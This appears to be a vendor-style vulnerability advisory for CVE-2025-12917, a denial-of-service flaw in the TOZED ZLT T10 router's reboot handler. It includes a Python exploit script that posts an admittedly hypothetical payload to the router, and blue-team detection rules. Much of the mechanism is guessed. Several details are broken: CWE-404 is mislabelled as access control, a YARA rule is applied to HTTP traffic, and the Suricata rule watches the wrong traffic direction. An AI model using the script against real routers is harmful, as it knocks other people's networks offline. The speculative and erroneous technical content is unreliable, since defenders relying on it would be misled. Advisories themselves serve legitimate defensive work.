CVE-2025-12917

Executive Summary

CVE-2025-12917 is a denial-of-service (DoS) vulnerability affecting the TOZED ZLT T10 router running firmware version T10PLUS_3.04.15. The flaw resides in an unknown function within the /reqproc/proc_post file of the Reboot Handler component. An attacker with local network access can send a crafted request to trigger a reboot, causing service disruption. The exploit is publicly available, and the vendor has not responded to disclosure attempts. With a CVSS score of 4.3 (Medium), this vulnerability poses a moderate risk to network availability, particularly in environments where these routers are deployed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same local network.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality (C): None (C:N) – no data exposure.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): Low (A:L) – device reboot causes temporary service loss.

Threat Level: Medium. Exploitation is straightforward but requires local network access. The primary risk is disruption of router services, potentially affecting all connected devices.

Deep Dive & Mechanics

The vulnerability is triggered by sending a specially crafted HTTP POST request to the /reqproc/proc_post endpoint on the TOZED ZLT T10 router. The Reboot Handler component processes this request without proper input validation or rate limiting, causing the device to execute a reboot command. The exact mechanism is likely a missing authentication check or a command injection flaw that allows an unauthenticated attacker to invoke the reboot function.

Root Cause: The /reqproc/proc_post endpoint does not validate the origin or content of the request, allowing any adjacent network user to trigger a system reboot. This is a classic case of improper access control (CWE-404: Improper Resource Shutdown or Release) combined with missing authentication.

Attack Flow:

1. Attacker identifies a TOZED ZLT T10 router on the local network (e.g., via ARP scan or Shodan).
2. Attacker sends a crafted POST request to http://<router-ip>/reqproc/proc_post with a payload that triggers the reboot.
3. The router processes the request and immediately reboots, causing a temporary denial of service.
4. The attacker can repeat this indefinitely to maintain disruption.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is in the firmware binary (likely a CGI script or embedded web server handler). Below is a hypothetical representation based on common embedded router implementations.

Vulnerable Code (pseudo-CGI):

// /reqproc/proc_post handler
void handle_reboot() {
    // No authentication check
    system("reboot");  // Direct command execution
}

Patched Code (hypothetical):

// /reqproc/proc_post handler
void handle_reboot() {
    if (!authenticated_user()) {
        return_error(403, "Forbidden");
        return;
    }
    if (rate_limit_exceeded()) {
        return_error(429, "Too Many Requests");
        return;
    }
    system("reboot");
}

Since no official patch exists, mitigation must rely on network segmentation, firewall rules, or disabling the vulnerable endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• TOZED ZLT T10 router with firmware T10PLUS_3.04.15
• Attacker machine on the same local network (e.g., Kali Linux)
• Python3 with requests library

Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <router_ip>")
    sys.exit(1)

target = f"http://{sys.argv[1]}/reqproc/proc_post"
payload = {"action": "reboot"}  # Hypothetical payload

try:
    r = requests.post(target, data=payload, timeout=5)
    print(f"Request sent. Status: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Usage:

python3 exploit.py 192.168.1.1

Expected Outcome: The router reboots within seconds, causing all connected devices to lose internet connectivity temporarily.

Blue Team

Detection & Prevention:

• Monitor for POST requests to /reqproc/proc_post from unknown IPs.
• Implement network segmentation to isolate router management interfaces.
• Use a Web Application Firewall (WAF) to block requests to this endpoint.
• Disable the endpoint if possible via firmware configuration.

Lab Setup for Testing:

1. Set up a TOZED ZLT T10 router in an isolated lab network.
2. Connect an attacker machine (e.g., Kali) to the same switch.
3. Run the exploit script to verify the DoS.
4. Monitor network traffic with Wireshark to capture the malicious request.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /reqproc/proc_post with any payload.
• Source IPs from unexpected local network segments.
• Repeated reboot events in router logs (if available).

File IOCs:

• No specific file artifacts; the vulnerability is network-based.

Behavioral IOCs:

• Router reboots without user initiation.
• Multiple reboots within a short time frame.

Detection Engineering

YARA Rule

rule CVE_2025_12917_Exploit {
    meta:
        description = "Detects HTTP POST requests targeting /reqproc/proc_post on TOZED routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12917"
    strings:
        $endpoint = "/reqproc/proc_post"
        $method = "POST"
    condition:
        $endpoint and $method
}

Sigma Rule

title: CVE-2025-12917 - TOZED Router Reboot DoS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to /reqproc/proc_post indicating exploitation of CVE-2025-12917
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12917
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/reqproc/proc_post'
    condition: selection
falsepositives:
    - Legitimate admin actions (if endpoint is used for admin reboot)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12917 - TOZED Router Reboot DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/reqproc/proc_post"; http_uri; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the router on a separate VLAN with strict access controls.
2. Firewall Rules: Block external access to the router's web interface (port 80/443) from untrusted networks.
3. Disable Endpoint: If possible, modify the router's configuration to disable the /reqproc/proc_post endpoint.
4. Monitor Logs: Enable logging and monitor for POST requests to the vulnerable path.

Long-Term Actions:

• Vendor Contact: Continue attempting to contact TOZED for a firmware patch.
• Device Replacement: Consider replacing the router with a supported model from a vendor with active security support.
• IDS/IPS Deployment: Deploy network intrusion detection systems with the provided Suricata rule.

Patch Status: No patch available. The vendor has not responded to disclosure.

Valters IT